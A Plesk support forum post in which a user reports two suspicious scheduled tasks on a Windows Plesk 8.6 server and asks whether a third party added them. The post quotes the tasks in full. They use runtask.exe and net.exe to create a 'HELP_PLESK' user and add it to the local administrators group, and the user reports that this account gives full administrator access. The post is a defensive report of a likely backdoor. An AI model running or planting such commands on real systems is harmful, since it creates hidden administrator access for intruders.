• Debian 11 is approaching its end-of-life (vendor EOL date - August 31, 2026). Plesk Obsidian 18.0.80 will be the last release to support it.
    If you are running Plesk Obsidian on Debian 11, we recommend you upgrade those servers to Debian 12 using our dist-upgrade tool.
  • We plan to deprecate and remove the support for XML RPC protocol versions earlier than 1.6.9.1 in Plesk Obsidian 18.0.82. We strongly recommend that you update all existing integrations using earlier versions of the XML RPC protocol to comply with the version 1.6.9.1 specification.

Suspicious Plesk scheduled task

Inspiring

New Pleskian
Hi All,

I have noticed that there is two scheduled task from Plesk that is scheduled to run every midnight (Plesk 8.6):


===================

Plesk Scheduler Task #56974aa80611c7ea2f93f0617354d813

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=user HELP_PLESK apassword /add""

Plesk Scheduler Task #5ff893fff01088772737ca70b1fef982

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=localgroup administrators HELP_PLESK /add""

===================

Both of the task is added to the system the same time as other Plesk scheduled tasks such as statistics.exe


I have tested to login as this new user created via remote desktop, and I was granted full administrator right...

Does anyone have the above two scheduled tasks? Or do you think that these two tasks is added by third party?
